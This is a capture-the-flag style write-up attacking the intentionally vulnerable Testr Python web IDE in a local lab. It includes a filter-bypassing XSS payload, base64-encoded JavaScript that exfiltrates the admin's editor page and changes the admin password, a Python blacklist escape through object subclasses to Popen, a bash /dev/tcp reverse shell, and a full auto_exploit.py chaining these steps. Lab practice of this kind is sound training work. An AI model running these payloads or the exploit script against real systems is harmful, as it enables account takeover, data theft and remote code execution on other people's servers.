Home bmdyy - Testr
Post
Cancel

bmdyy - Testr

Testr is an invite-only web-based IDE for Python, created with the purpose of practicing web-app vulnerabilities. Specifically XSS and Code injecetion / Filter bypassing.

There is a cronjob which emualates admin actions every minute in the docker container.

Github Testr Page

Diagram

graph TD
    A[Enumeration] -->|Nmap| B(Port 5000)
    B --> |Chat.js| C[app.js]
    C --> D[ /apply]
    C --> E[ /editor]
    D --> |POST| F[XSS]
    F --> |CSRF| G[Change Admin Password]
    E --> H[Login as Admin]
    G --> H
    H --> |POST - CODE| I[Cmd Injection]
    I --> |RCE| J[Reverse Shell]
    J --> |Python Script| K{Exploit}

General Information

  • Machine Name: Testr
  • IP Add: 172.17.0.2
  • Machine OS: Linux
  • Open Ports: 5000
  • Programming Language: Python

Detailed Information

  • Code injection:
    • User controlled parameters:
    • Ability to inject PHP, JS, etc:
  • XSS:
    • Injectable fields: Website in apply field
    • Alert box: Done - q=%3Cimg%20src=x%20o%3Cscriptnerror=javajavascript:script:(function(){alert(1)})()%3E
    • CSRF: Change admin secret and password
  • Vulnerabilities discovered:
    • Type: XSS, CSRFand Cmd Injection
    • PoC: auto_exploit.py
  • Reverse Shell:
    • Python: Cmd injection in python

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 172.17.0.2

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 5000

We try to open it on the browser

We are automatically redirected to the login page. We can see on the description of it a message An invite-only web-based Python IDE.

Let’s start some enum on the functions of this website

Web Functions

We try to put an invalid e-mail in it

And on burp we have the same request

We can see a Reset Password field, and we click it

Asks for some information

And we can click in Apply to create a new user.

The Link to portfolio / website called my attention, it calls for Our admin will review your portfolio if you chose to include one possible we can have some kind of XSS in this page, because the admin will see the posts

Ok, let’s just test this XSS

Simple Interaction

We fill the apply form in the website

We receive the message that the application was sent

In burp we can see the request being made

And redirected to /login

We try to login and the messsage we receive is:

We try to change the password

We can change the password too.

Code Analysis

Let’s start looking at our app.py code, to see what you need to do

Root Page (/)

1
2
3
4
5
6
@app.route('/')
def index():
    if session.get('logged_in') != True:
        return redirect('login')
    else:
        return redirect('editor')

The first lines we see that it checks if the user is logged_in, if it’s , redirecto to editor page, else not redirect to login page

/login

Now the login page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        sha256_password = hashlib.sha256(request.form['password'].encode('utf-8')).hexdigest()
        params = (request.form['email'], sha256_password,)

        con = db_utils.db_con()
        cur = con.cursor()
        result = cur.execute('SELECT * FROM users WHERE email = ? AND password = ?', params)
        rows = result.fetchall()
        con.close()

        if len(rows) > 0:
            if rows[0][2] == 1:
                session['logged_in'] = True
                session['user'] = list(rows[0])
                return redirect('editor')
            else:
                flash("Account is awaiting approval.", 'error')
                return render_template('login.html')
        else:
            flash("Incorrect Username/Password.", 'error')
            return render_template('login.html')

Now we start the login function. It checks for two methods both GET and POST are accepted.

If it’s GET, just show the login.html page

If it’s POST, it gets the email and sha256 hashed password and compare with the database. The rows will be the result of the query, if the result is 1, seems that it’s logged in. If it’s not, that seems that our user was not updated yet and we are waiting approval.

If you put an incorrect password or email, you get the login.html page.

Conclusion. To “bypass” the auth, our row must be 1.

/logout

Now, the logout page

1
2
3
4
5
@app.route('/logout')
def logout():
    session.clear()
    flash("Logged out!", 'success')
    return redirect('login')

Seems that it’s justing logging out the user, nothing useful for exploration here.

/reset

Now, the reset function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@app.route('/reset',methods=['POST'])
def reset():
    email = request.form['email']
    phrase = request.form['secret_phrase']
    password = request.form['password']
    password2 = request.form['password2']
    if email and phrase and password and password2:
        if password == password2:
            con = db_utils.db_con()
            cur = con.cursor()

            sha256_phrase = hashlib.sha256(phrase.encode('utf-8')).hexdigest()
            params = (email, sha256_phrase)
            result = cur.execute('SELECT * FROM users WHERE email = ? AND secret_phrase = ?', params)
            if len(result.fetchall()) > 0:
                sha256_password = hashlib.sha256(password.encode('utf-8')).hexdigest()
                params = (sha256_password, email)

                cur.execute('UPDATE users SET password = ? WHERE email = ?', params)
                con.commit()
                con.close()

                flash("Password changed!", 'success')
                return redirect('/login')
            else:
                flash("Incorrect secret/email", 'error')
                return redirect('/login')
        else:
            flash("Passwords don't match.", 'error')
            return redirect('/login')
    else:
        flash("Please fill out all fields.", 'error')
        return redirect('/login')

This seems a little more complex. Let’s debug all of it.

Accepts just POST. Gets the params from what we pass as data in the post request. Test for password1 and password2, if it’s the same, sha256 in the password, test if the secret_phrase is correct, if yes, update the new password. Else, send the incorrect secret/email, if the passwords does not match, shows the Passwords does not match message, if we did not fill any of the fields, the app ask us to do that. Nothings really useful for now here.

/apply

We will se the apply function now

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@app.route('/apply',methods=['POST'])
def apply():
    name = request.form['name']
    email = request.form['email']
    website = request.form['website']
    phrase = request.form['secret_phrase']
    password = request.form['password']
    password2 = request.form['password2']

    if name and email and phrase and password and password2:
        if password == password2:
            con = db_utils.db_con()
            cur = con.cursor()
            params = (email,)
            result = cur.execute('SELECT * FROM users WHERE email = ?', params)
            if len(result.fetchall()) == 0:
                sha256_phrase = hashlib.sha256(phrase.encode('utf-8')).hexdigest()
                sha256_password = hashlib.sha256(password.encode('utf-8')).hexdigest()
                params = (email, None, None, name, website, sha256_password, sha256_phrase)
                cur.execute('INSERT INTO users VALUES (?,?,?,?,?,?,?)', params)
                con.commit()
                con.close()
                flash("Application sent!",'success')
                return redirect('/login')
            else:
                con.close()
                flash("Email already taken",'error')
                return redirect('/login')
        else:
            con.close()
            flash("Passwords don't match.",'error')
            return redirect('/login')
    else:
        con.close()
        flash("Please fill out all fields.",'error')
        return redirect('/login')

This is the apply function. Accept just POST method. Set the variables on what we send as data. Test to see if we send all the values, test to see if the password1 is the same than the password2. Execute a query on the database to see if the email has already taken, if yes, shows the message Email Already Taken, if not, sha256 in the phrase and password, and insert the values in the database with the email and name. If the passwords does not match, show the passwords does not match, if we do not fill any of the param, asks us to do that.

The only thing here we possibly can exploit is the message field, because we know that probably the admin is looking at it every minute, we see on the website that it’s for approval.

/api

1
2
3
@app.route('/api')
def api():
    return render_template('api.html')

Shows the API page help.

/update_details

Now, the update user details

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/update_details',methods=['POST'])
def update_details():
    if session.get('logged_in') != True:
        return redirect('login')
    else:
        name = request.form['name']
        params = (name,session['user'][0])
        con = db_utils.db_con()
        cur = con.cursor()
        cur.execute('UPDATE users SET name = ? WHERE email = ?', params)
        con.commit()
        con.close()
        session['user'][3] = name
        flash("Successfully updated details!",'success')
        return redirect('/editor')

Accepts just POST method, and test if we are logged_in, if yes, we can change name. And we are redirected to the editor page.

/change_password

Let’s see the change_password function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@app.route('/change_password',methods=['POST'])
def change_password():
    if session.get('logged_in') != True:
        return redirect('login')
    else:
        phrase = request.form['secret_phrase']
        password = request.form['password']
        password2 =  request.form['password2']
        if phrase and password and password2:
            if password == password2:
                sha256_phrase = hashlib.sha256(phrase.encode('utf-8')).hexdigest()
                params = (session['user'][0], sha256_phrase)
                con = db_utils.db_con()
                cur = con.cursor()
                result = cur.execute('SELECT * FROM users WHERE email = ? AND secret_phrase = ?', params)
                if len(result.fetchall()) > 0:
                    sha256_password = hashlib.sha256(password.encode('utf-8')).hexdigest()
                    params = (sha256_password,session['user'][0])
                    cur.execute('UPDATE users SET password = ? WHERE email = ?', params)
                    con.commit()
                    con.close()
                    flash("Successfully changed password!",'success')
                    return redirect('/editor')
                else:
                    flash("Secret phrase is incorrect.",'error')
                    return redirect('/editor')
            else:
                flash("Passwords don't match.",'error')
                return redirect('/editor')
        else:
            flash("Please fill out all fields",'error')
            return redirect('/editor')

Let’s see what we got here. Just accept the POST method. Session must be logged in. Test to see if the three params are being passed, sha256 in the phrase and test it in the database, if it get ok, then change the password in sha256 too. If not show errors messages.

/change_secret_phrase

Now, let’s look at how to change the secret phrase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@app.route('/change_secret_phrase',methods=['POST'])
def change_secret_phrase():
    if session.get('logged_in') != True:
        return redirect('login')
    else:
        phrase = request.form['secret_phrase']
        phrase2 = request.form['secret_phrase2']
        if phrase and phrase2:
            if phrase == phrase2:
                sha256_phrase = hashlib.sha256(phrase.encode('utf-8')).hexdigest()
                params = (sha256_phrase,session['user'][0])
                con = db_utils.db_con()
                cur = con.cursor()
                cur.execute('UPDATE users SET secret_phrase = ? WHERE email = ?', params)
                con.commit()
                con.close()
                flash("Successfully changed secret phrase!",'success')
                return redirect('/editor')
            else:
                flash("Secret phrases don't match.",'error')
                return redirect('/editor')
        else:
            flash("Please fill out all fields",'error')
            return redirect('/editor')

Here again, just POST requests. Test to see if it’s logged in. If yes, get the phrases from the params, test to see if they are equal. Sha256 in them and change it in the database, else show error messages and redirect to the /editor page.

/editor

Now the things are getting interesting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
illegal_keywords = [
    '__import__','import','compile','delattr','dir','eval', 'execfile', 'file','getattr','globals','hasattr',
    'input','locals','open','raw_input','reload','setattr','vars','im_class', 'im_func', 'im_self',
    'func_code', 'func_defaults', 'func_globals', 'func_name','tb_frame', 'tb_next','f_back','f_builtins',
    'f_code', 'f_exc_traceback','f_exc_type', 'f_exc_value', 'f_globals', 'f_locals','subprocess'
]
@app.route('/editor', methods=['GET','POST'])
def editor():
    if session.get('logged_in') != True:
        return redirect('login')
    else:
        if request.method == 'GET':
            apps = None
            if session['user'][1] == 1:
                con = db_utils.db_con()
                cur = con.cursor()
                result = cur.execute('SELECT * FROM users WHERE approved is null')
                apps = result.fetchall()
                con.close()

            return render_template('editor.html', code='', out='', apps=apps)

        elif request.method == 'POST':
            code = request.form['code']
            try:
                bad = False
                for keyword in illegal_keywords:
                    if keyword in code:
                        bad = True

                if not bad:
                    # NOTE: Switched from Subprocess.Popen to exec for security reasons
                    # prog = ['python3','-c',code.encode('utf-8')]
                    # output = subprocess.check_output(prog, stderr=subprocess.STDOUT)
                    # output = output.decode('utf-8')
                    out = StringIO()
                    error = None
                    with contextlib.redirect_stdout(out):
                        try:
                            exec(code)
                        except Exception as e:
                            error = e
                    if error:
                        output = error
                    else:
                        output = out.getvalue()
                        if output == "":
                            output = "No output"
                else:
                    output = "Illegal Input"
            except subprocess.CalledProcessError as exc:
                return render_template('editor.html', code=code, out="%s"%exc.output.decode('utf-8'))
            else:
                return render_template('editor.html', code=code, out=output)

We have some Illegal Keywords in the beggining of the function, most of them are related to RCE. It accepts GET and POST methods, test to see if we are logged in, if yes, test to see if the method is GET test the session for the user, if it’s 1, shows all the non approved users.

If the method is POST, get from the data the param code, test to see if we got some illegal key in it. If not, exec the code.

Interesting, we have some kind of command execution, we already know where probably we’ll inject our payload. But first we need to bypass the authencation.

/approve

This is the /approve page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/approve',methods=['POST'])
def approve():
    if session.get('logged_in') != True:
        return redirect('login')
    else:
        if session['user'][1] != 1:
            return redirect('index')
        else:
            email = request.form['email']
            if email:
                params = (email,)
                con = db_utils.db_con()
                cur = con.cursor()
                result = cur.execute('UPDATE users SET approved = 1 WHERE email = ?',params)
                con.commit()
                con.close()
                return 'Approved'

Accept just POST method. Test to see if the user is logged in, if the id is 1, it approve it in the database.

/deny

This is the /deny page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/deny',methods=['POST'])
def deny():
    if session.get('logged_in') != True:
        return redirect('login')
    else:
        if session['user'][1] != 1:
            return redirect('index')
        else:
            email = request.form['email']
            if email:
                params = (email,)
                con = db_utils.db_con()
                cur = con.cursor()
                result = cur.execute('DELETE FROM users WHERE email = ?',params)
                con.commit()
                con.close()
                return 'Denied'

We will use our python skeleton to do that

The same way from allow, but for delete.

Conclusion

We get two probably vectors of attack.

1 - Auth Bypass will probably be on the XSS we can do on apply function.

2 - RCE will be on the editor function.

XSS Admin

Let’s start to hunt for this XSS.

We did not find too much indicates that XSS is happening on the app.py, that’s because XSS relies on html files, we have three html files in the /templates folder

We need to have someway to input data in the tags, to get it executed. So we’ll grep for <input tags

And we found a suspicious input in the api.html file

1
grep -nr "<input" ./

Obvisoly we found a lot of them, because every place the user can input data, it appears here. One that I did not realize before was the “q” in api.html.

It shows the “q” parameter in it accepts data

We see that it’s the get_id from the function in the app.py file, we can test it to see if it’s really that

Yes, that’s it. And we can pass information from it also.

1
2
3
Sends an application for membership.
Requires this body:
{name, email, secret_phrase, password, password2}

Humm… interesting, we can create a user from here. Other important thing we see on the end of this api.html file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    <script>
        const re = new RegExp(/(\b)(on\S+)(\s*)=|javascript:|(<\s*)(\/*)script|style(\s*)=|(<\s*)meta/ig);
        function cleanStr(s) {
            return s.replaceAll(re, '');
        }
        function getUrlParameter(name) {
            name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
            var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
            var results = regex.exec(location.search);
            return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
        };
        if (window.location.search.indexOf('q') > -1) {
            var q = cleanStr(getUrlParameter('q'));
            var list = document.getElementsByTagName("h2");
            var found = false;
            for (var i = 0; i < list.length && !found; i++) {
                if (list[i].id.indexOf(q) >= 0) {
                    document.getElementById(list[i].id).scrollIntoView();
                    found = true;
                }
            }
            if (!found) document.getElementById('msg').innerHTML = 
                q + ' does not appear in the API documentation.';
        }
    </script>

It seems to be making some kind of sanitization in our inputs, what show us that our XSS payload must be different than the stantard ones, we must find one which bypass this filter.

We download a huge xss list and adapt it to show me only with the script tags

We get the parameters which it’s testing and make our try and error trying to get one of them working properly

This XSS should work, I got from this list

1
<img src=1 href=1 onerror="javascript:alert(1)"></img>

Adapting it to our needs, we have it done

1
<img src=x o<scriptnerror=javajavascript:script:(function(){alert(1)})()>

What about we take the /editor page from the admin, once we know that we cannot access it from our browser

This is the payload we want to execute. It will make a request to /editor, with the admin session and give me the base64 content of the page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function read_editor(){
        var req=new XMLHttpRequest();
        var url = "http://172.17.0.2:5000/editor";
        req.open("GET", url, true);
        req.send();
        req.onreadystatechange = function(){
        if(req.readyState == XMLHttpRequest.DONE){
                var resultText = btoa(req.response);
                send(resultText)
                }
        }
}

function send(resultText){
        var xhr=new XMLHttpRequest();
        xhr.open('GET', 'http://172.17.0.1/?xss=' + resultText, true);
        xhr.send();
}

read_editor();

I want to get it, so I write it to the Website field, once I know that the admin look at it every minute and execute it

1
http://172.17.0.2:5000/api?q=%3Cimg%20src=x%20o%3Cscriptnerror=javajavascript:script:eval(atob(%27ZnVuY3Rpb24gcmVhZF9lZGl0b3IoKXsKICAgICAgICB2YXIgcmVxPW5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHZhciB1cmwgPSAiaHR0cDovLzE3Mi4xNy4wLjI6NTAwMC9lZGl0b3IiOwogICAgICAgIHJlcS5vcGVuKCJHRVQiLCB1cmwsIHRydWUpOwogICAgICAgIHJlcS5zZW5kKCk7CiAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCl7CiAgICAgICAgaWYocmVxLnJlYWR5U3RhdGUgPT0gWE1MSHR0cFJlcXVlc3QuRE9ORSl7CiAgICAgICAgICAgICAgICB2YXIgcmVzdWx0VGV4dCA9IGJ0b2EocmVxLnJlc3BvbnNlKTsKICAgICAgICAgICAgICAgIHNlbmQocmVzdWx0VGV4dCkKICAgICAgICAgICAgICAgIH0KICAgICAgICB9Cn0KCmZ1bmN0aW9uIHNlbmQocmVzdWx0VGV4dCl7CiAgICAgICAgdmFyIHhocj1uZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly8xNzIuMTcuMC4xLz94c3M9JyArIHJlc3VsdFRleHQsIHRydWUpOwogICAgICAgIHhoci5zZW5kKCk7Cn0KCnJlYWRfZWRpdG9yKCk7%27))%3E

We wait one minute, and got it in our nc listen port 80

We adapt it to decode64

Now, we decode and access it with a python web server, just to see what we can do as admin

We have a Settings tab

Where we can change the admin password, very good. What about to change it?

We send the both requests to burp, to change the Secret Phrase and to change the password, to see what params we need to use

Ok, we already know how to change it and how to change the admin password

So, let’s make it happen.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function change_secret_phrase(){
        var req=new XMLHttpRequest();
        var url = "http://172.17.0.2:5000/change_secret_phrase";
        var params = "secret_phrase=123&secret_phrase2=123";
        req.open("POST", url, true);
        req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
        req.send(params);
        req.onreadystatechange = function(){
        if(req.readyState == XMLHttpRequest.DONE){
                var resultText = btoa(req.response);
                send(resultText)
                }
        }
}

function change_password(){
        var req=new XMLHttpRequest();
        var url = "http://172.17.0.2:5000/change_password";
        var params = "secret_phrase=123&password=456&password2=456";
        req.open("POST", url, true);
        req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
        req.send(params);
        req.onreadystatechange = function(){
        if(req.readyState == XMLHttpRequest.DONE){
                var resultText = btoa(req.response);
                send(resultText)
                }
        }
}

function send(resultText){
        var xhr=new XMLHttpRequest();
        xhr.open('GET', 'http://172.17.0.1/?xss=' + resultText, true);
        xhr.send();
}

change_secret_phrase();
change_password();
1
2
http://172.17.0.2:5000/api?q=%3Cimg%20src=x%20o%3Cscriptnerror=javajavascript:script:eval(atob(%27
ZnVuY3Rpb24gY2hhbmdlX3NlY3JldF9waHJhc2UoKXsKICAgICAgICB2YXIgcmVxPW5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHZhciB1cmwgPSAiaHR0cDovLzE3Mi4xNy4wLjI6NTAwMC9jaGFuZ2Vfc2VjcmV0X3BocmFzZSI7CiAgICAgICAgdmFyIHBhcmFtcyA9ICJzZWNyZXRfcGhyYXNlPTEyMyZzZWNyZXRfcGhyYXNlMj0xMjMiOwogICAgICAgIHJlcS5vcGVuKCJQT1NUIiwgdXJsLCB0cnVlKTsKICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC10eXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOwogICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCl7CiAgICAgICAgaWYocmVxLnJlYWR5U3RhdGUgPT0gWE1MSHR0cFJlcXVlc3QuRE9ORSl7CiAgICAgICAgICAgICAgICB2YXIgcmVzdWx0VGV4dCA9IGJ0b2EocmVxLnJlc3BvbnNlKTsKICAgICAgICAgICAgICAgIHNlbmQocmVzdWx0VGV4dCkKICAgICAgICAgICAgICAgIH0KICAgICAgICB9Cn0KCmZ1bmN0aW9uIGNoYW5nZV9wYXNzd29yZCgpewogICAgICAgIHZhciByZXE9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICAgICAgdmFyIHVybCA9ICJodHRwOi8vMTcyLjE3LjAuMjo1MDAwL2NoYW5nZV9wYXNzd29yZCI7CiAgICAgICAgdmFyIHBhcmFtcyA9ICJzZWNyZXRfcGhyYXNlPTEyMyZwYXNzd29yZD00NTYmcGFzc3dvcmQyPTQ1NiI7CiAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LXR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsKICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKXsKICAgICAgICBpZihyZXEucmVhZHlTdGF0ZSA9PSBYTUxIdHRwUmVxdWVzdC5ET05FKXsKICAgICAgICAgICAgICAgIHZhciByZXN1bHRUZXh0ID0gYnRvYShyZXEucmVzcG9uc2UpOwogICAgICAgICAgICAgICAgc2VuZChyZXN1bHRUZXh0KQogICAgICAgICAgICAgICAgfQogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZChyZXN1bHRUZXh0KXsKICAgICAgICB2YXIgeGhyPW5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHhoci5vcGVuKCdHRVQnLCAnaHR0cDovLzE3Mi4xNy4wLjEvP3hzcz0nICsgcmVzdWx0VGV4dCwgdHJ1ZSk7CiAgICAgICAgeGhyLnNlbmQoKTsKfQoKY2hhbmdlX3NlY3JldF9waHJhc2UoKTsKY2hhbmdlX3Bhc3N3b3JkKCk7%27))%3E

We send and wait 1 minute

We pass both to a file (the base64 code)

We see the change token message

And the change password message

Got it! Now we can login as admin!

Now let’s hunt our RCE on this box.

RCE

We already know that we can execute some kind of code in the /editor with a POST request with code as param. We saw that on our code analysis earlier. We must now only to understand how we can do that.

We try to send an import, just to see how it trigger the illegal keywords of the code we saw earlier

Once we know that we have a huge blacklist we can use the templates module to get what we want.

Here we got a good way for how to have arbitrary command execution

1
print(().__class__.__base__.__subclasses__())

We pass it to a txt file, change the “,” for \n and now we can have the offset from the popen which we can use to execute commands in the box

Now we know that the offset from popen is 214, we can use it to execute commands, we use 213 because the first line is just garbage, so the popen become 213.

1
print(().__class__.__base__.__subclasses__()[213](['/bin/bash','-c','bash -i >& /dev/tcp/172.17.0.1/445 0>&1']))

Now we have reverse shell on the box.

Exploit

Let’s make a exploit to do this all stuff together

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

auto_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/python3
# Author: 0x4rt3mis
# Testr from bmdyy - Auto Exploit

import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
import base64
import os

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()
    
# Base64 things
def b64e(s):
    return base64.b64encode(s.encode()).decode()
    
def sendMaliciousXSS(rhost):
    print("[+] Let's send the malicious XSS and trigger [+]")
    payload = "function change_secret_phrase(){\n"
    payload += "        var req=new XMLHttpRequest();\n"
    payload += "        var url = 'http://%s:5000/change_secret_phrase';\n" %rhost
    payload += "        var params = 'secret_phrase=123&secret_phrase2=123';\n"
    payload += "        req.open('POST', url, true);\n"
    payload += "        req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');\n"
    payload += "        req.send(params);\n"
    payload += "}\n"
    payload += "\n"
    payload += "function change_password(){\n"
    payload += "        var req=new XMLHttpRequest();\n"
    payload += "        var url = 'http://%s:5000/change_password';\n" %rhost
    payload += "        var params = 'secret_phrase=123&password=456&password2=456';\n"
    payload += "        req.open('POST', url, true);\n"
    payload += "        req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');\n"
    payload += "        req.send(params);\n"
    payload += "}\n"
    payload += "\n"
    payload += "change_secret_phrase();\n"
    payload += "change_password();\n"
    payload_b64 = b64e(payload)
    # Just sending it to the server
    url = "http://%s:5000/apply" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"name": "0x4rt3mis", "email": "0x4rt3mis@email.com", "website": "http://172.17.0.2:5000/api?q=%3Cimg%20src=x%20o%3Cscriptnerror=javajavascript:script:eval(atob(%27" + payload_b64 + "%27))%3E", "secret_phrase": "123", "password": "123", "password2": "123"}
    r.post(url, headers=headers, data=data, proxies=proxies)
    print("[+] Payload Sent, wait some minutes to get it triggered!! [+]")
    os.system("sleep 120")
    print("[+] Possily it was already triggered, now let's login as admin to get rev shell !! [+]")

# Login as admin    
def loginAdmin(rhost):
    print("[+] Logging in !! [+]")
    url = "http://%s:5000/login" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"email": "admin@tes.tr", "password": "456"}
    r.post(url, headers=headers, data=data, proxies=proxies)
    print("[+] Logged In !!!!! [+]")
    
# Get reverse shell
def getReverseShell(rhost,lport,lhost):
    print("[+] Let's get the reverse shell !!!! [+]")
    url = "http://%s:5000/editor" % rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"code": "().__class__.__base__.__subclasses__()[213](['/bin/bash','-c','bash -i >& /dev/tcp/%s/%s 0>&1'])" %(lhost,lport)}
    r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localip', help='Local ip address or hostname', required=True)
    parser.add_argument('-lp', '--localport', help='Local port to receive reverse shell', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.localip
    lport = args.localport

    '''Here we call the functions'''
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Send malicious xss
    sendMaliciousXSS(rhost)
    # Just admin login
    loginAdmin(rhost)
    # Get reverse shell
    getReverseShell(rhost,lport,lhost)

if __name__ == '__main__':
    main()

Done!

This post is licensed under CC BY 4.0 by the author.